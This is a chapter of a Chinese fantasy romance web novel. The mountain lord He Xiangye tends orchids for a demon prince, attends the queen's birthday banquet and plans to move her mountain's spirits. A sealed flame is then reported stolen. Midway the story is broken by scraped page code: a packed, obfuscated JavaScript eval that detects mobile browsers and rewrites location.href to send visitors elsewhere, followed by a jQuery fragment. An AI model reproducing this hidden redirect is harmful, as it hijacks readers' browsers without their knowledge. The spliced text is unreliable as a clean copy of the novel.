20. 第 20 章

作品:《色盲殿下在我山头修陵后

    曜日殿外,贺缃叶如期而至,她被缟羽带到一处种满了银月兰的地方。


    “山君,此处便是后殿,您安心在此,不会有人前来打扰,有事唤属下便是。”


    面都不露,这是连演也不愿意演了?狗屁盟友。


    贺缃叶扯了扯嘴角,觉得无趣至极。


    “知道了。”她打算完成此事,便立刻离开。


    缟羽退下后,她便将脑中的杂念全都抛在了脑后,只专注于银月兰。


    如此大一片,所幸她带的自制培养液够多,只是要花些灵力了。


    虽说云青骊在修陵一事上骗了她,但他一向大方,总不会亏待了自己。


    她认真地将培养液均匀浇在每一株银月兰上,接着以灵力慢慢催动,直到新芽或者矮小的植株缓缓长大,成为观赏性极佳的成熟兰草。


    虽然有些累,但她瞧着自己辛苦劳动的成果,颇为满意。


    “姑娘真真是妙手生花。”


    贺缃叶准备自行离去,却在此时,身后传来一道声音。


    闻言,她转过身子,一位容貌昳丽,装扮华美的女子正笑着朝她走来。


    她有些迷茫,正想喊来缟羽问问情况,又听到那女子问了一句:“姑娘可是贺缃叶贺山君?”


    “正是。”别人一直同她说话,再不理就显得不大礼貌了。


    “本宫是白浅云,骊儿的母后,听闻他请了一位花艺高超的技师,特来瞧瞧,不曾想竟是贺姑娘。”


    “缃叶见过王后。”她立即低头行了一礼。


    “这银月兰开得真好。”白浅云夸道,而后盯着她瞧了半晌笑道,“贺姑娘蕙质兰心,可有什么想要的赏赐?”


    “三殿下已经付过酬劳,谢过王后美意。”


    不知为何,贺缃叶总觉得,妖后的话听起来怪怪的。


    白浅云又说道:“今日是本宫寿辰,贺姑娘可愿前来?就当做是本宫的客人。”


    拒绝了云青骊,但眼下再拒绝白浅云便是有些不知好歹了。


    “多……”贺缃叶刚开口,就被打断了。


    “母后。”云青骊快步走了过来,“贺山君不习惯这些场面,还是莫要为难她了。”


    “不算为难,多谢王后,缃叶愿去。”贺缃叶不想拂了妖后的面子,也不想顺了云青骊的意。


    她没看到云青骊错愕的眼神,只专心盯着白浅云的脸。


    “骊儿,看来你的面子没有母后的大啊。”白浅云开着玩笑,将微妙的气氛化解了一二。


    “儿臣自是不及母后。”云青骊垂首说道,又唤来缟羽,派人将银月兰全都搬去了两仪殿。


    是夜,两仪殿中灯火通明,花香萦绕。


    贺缃叶坐在白浅云下首,与云青骊并排,她不喜交际,只安静地坐着喝酒吃菜。偶尔抬头,还能看到对面的云青冥和云青莲兄妹。


    月鸣珂坐得稍后一些,她见贺缃叶也在,连忙跟她招手示意,贺缃叶回了个微笑。


    “今日是王后寿辰,不必拘束,都自在些。”云玄天难得没那么严肃。


    众人应诺:“是。”


    “这位是?”他扫了一圈大殿,发现自家儿子身边坐着个不认识的女子。


    “王上,这位是贺山君,臣妾的客人。”白浅云出声解释,“这银月兰便是她妙手生花培育出来的,实在难得。”


    云玄天点点下巴,说了句王后喜欢便好,没再追问。


    倒是云青莲,皮笑肉不笑地说:“贺山君真是好手艺,不去做花匠倒是可惜了。”


    闻言,贺缃叶猛地抬起头,盯着他的脸,准备回击。


    可在她开口之前,就有人替她出头了。


    “大殿下,您习得一手绝佳的火系术法,也很适合炼剑一途呢。”月鸣珂嗓音柔柔的,却满是维护之意。


    云青莲脸上怒意丛生,刚要发难却被堵住了口。


    “大王兄,贺山君是我母后的客人,莫不是你对我母后有何不满?”贺缃叶听到云青骊出声,还以为出现了幻觉。


    “你胡说什么!我只是开个玩笑,莫要血口喷人。”云青莲声音大了些,随即又立刻反击,“瞧三弟如此模样,都不知是在维护谁呢~”


    此言一出,殿中好几人脸色都不太好。


    “莲儿,够了!”上首的姜妃见状立即制止,又转头对脸色铁青的妖王言道,“王上恕罪,臣妾管教无方。”


    云玄天从椅子上站了起来:“本王乏了,你们自行其乐便是。”


    说完他带着满脸都是戏谑之色的楚妃走了。


    殿上氛围在云玄天离开后轻松了些,但贺缃叶还是觉得有些不适应。她有些后悔,一时冲动答应了白浅云,眼下自己在这里遭罪。


    趁着更衣的功夫,她出去透了透气,却在长廊尽头看到了云青骊。


    她脚步顿了顿,随后神色自若的走了过去。


    在目不转睛经过他身侧之时,贺缃叶听到了一句话:“我去姑瑶山是为了寻我母妃去世的真相。”


    闻言,她停了下来,背对着他回:“殿下不必同我解释。”


    那七日,她想通了许多。


    原以为云青骊在结盟后诚心把她当朋友,但他们之间本来就掺杂着利益纠葛,说是合作伙伴更为贴切,不可能像她和鸣珂那般,真心相对。


    有些关系,不必过分强求。


    “山君可有什么想要的?”云青骊转过身,看着贺缃叶的清瘦但挺拔的背影问道。


    “殿下是指银月兰的报酬?”


    “是。”


    “一盒妖灵石。”说完她就离开了。等价交换,利益对等,甚好。


    宴席结束后,贺缃叶同月鸣珂一起回了姑瑶山。


    “鸣珂,今日多谢你替我说话。”两人并肩站在沧浪居院子里,明月高悬于夜空。


    月鸣珂偏头盯着贺缃叶的脸:“别客气,我们是朋友。你今日心情不好?”


    “谈不上心情不好,只是想通了一些事。”


    “是关于三殿下的吗?我看到你和他在长廊相遇了。”


    贺缃叶在身后的石凳上坐了下来,单手托腮:“我朝他要报酬了,一整盒灵石够我山上花用好久了。”


    “噗。”月鸣珂的手在她眼前晃了晃,“也就你敢明目张胆地找他要钱。”


    “他先开口的,不要白不要。”


    “缃叶,你若有事,一定不要憋在心里。”月鸣珂瞧她一脸无所谓的模样,看似洒脱,实则像是失望。


    “好。”贺缃叶站起来抖了抖披风,看了眼夜空,“天色不早了,快回去睡觉吧。”


    “你也早些休息。”


    第二日上午,晴山就拿了只盒子放在她案头,说是渌波送来的。


    “知道了,放着吧。”贺缃叶专心处理着手中的事务,没去管它。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646218|186497||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    午后,她正窝在榻上看书,突然窗外刮起了大风。


    “涿光山的妖如何了?”她放下书问一旁正在打扫的晴山。


    “回山君,咱们山上的妖自从上次楚家小姐来了之后,就迁走了大部分,如今在涿光待得很好,个个修炼都有进益。”


    “那就好,你寻个时机将剩余的妖都带过去吧。”


    晴山闻言一愣,问道:“山君也准备迁去涿光?”


    “嗯。”贺缃叶又拿起了书,“灵气充溢,适合修炼。何况这里封印已经加固了,再过百十年不是问题。”


    “可三殿下他们还在修陵......”


    “他们修他们的,关我何事?”


    “是。那鸣珂小姐......”


    “星图要不了多久就可以画完,届时她再来找我便是。”


    “好,奴婢这便去办。”


    晴山走后,贺缃叶将书放在了一旁,走到窗边,盯着院子里的花盆发呆。


    “哎哟,山君,这么大的风,可别吹着凉了。”月魄进门见此情景,忙走过来将窗户关上了。


    贺缃叶后退两步,一脸无奈:“我哪有这么弱不禁风?”


    “没有,但若是受凉可得遭罪了呀,我的山君。”月魄转过身,上前给贺缃叶拢了拢披风。


    贺缃叶坐回榻上,过了一会儿才说道:“你去将我的花盆搬进来吧。还未长新芽,我怕它们被风吹坏了。”


    “好,您坐着,奴婢去。”


    也不知为何,这么久了,花盆里的落日花还未长出新芽,得找个时机好好研究研究,贺缃叶心想。


    又过了半月,天气愈发冷,连树上的叶子都掉得差不多了。这一日清早,月魄和晴山正忙着收拾贺缃叶的私人物品。


    “山君,咱们的东西有些多,可得好些时候收拾呢。”月魄活泼,藏不住话。


    贺缃叶穿着厚披风,坐在屋中用布擦着沧雪枪,头也不抬地回:“不妨事,慢慢收,莫要忘了密室里的东西。”


    “奴婢明白。”


    “若是鸣珂来问,就跟她说一声,咱们搬走一事,其他人便不必告知了。”


    “是。”月魄又想起什么,忙问,“那三殿下的午膳是否要同他解释一番呀?”


    贺缃叶擦枪的动作一滞,语气淡淡的:“他总会知道此事的,解不解释无所谓,得了空将本月的饭钱给退回去便是。”


    “是,山君。”


    “对了,明日我再去检查一下缚地之阵,确保万无一失,才好放心离开,你们不必跟着我。”


    “是。”两人应诺。


    可没过多久,院门被拍得砰砰直响,门外是缟羽急切的声音。


    “山君,不好了,炎阳之火不见了!”


    贺缃叶扔下布,提着枪奔出门外,面沉如水:“怎么回事?”


    “这几日,我家殿下在忙着青衣卫之事,没怎么看顾山上,谁知今日来却发现缚地之阵有所松动,阵中的炎阳之火已然不见了。”


    “眼下如何?”


    “所幸地玉髓和藤妖血都已经刻在了阵盘上,殿下已经用灵力稳住了,但尚不知没了炎阳之火是否会有大碍,故而特意派属下来告知一声。”


    贺缃叶偏头问身后:“山上近日可有人来过?”


    晴山毕恭毕敬:“奴婢不曾发现。”


    “去看看。”贺缃叶手持沧雪枪,去了花海。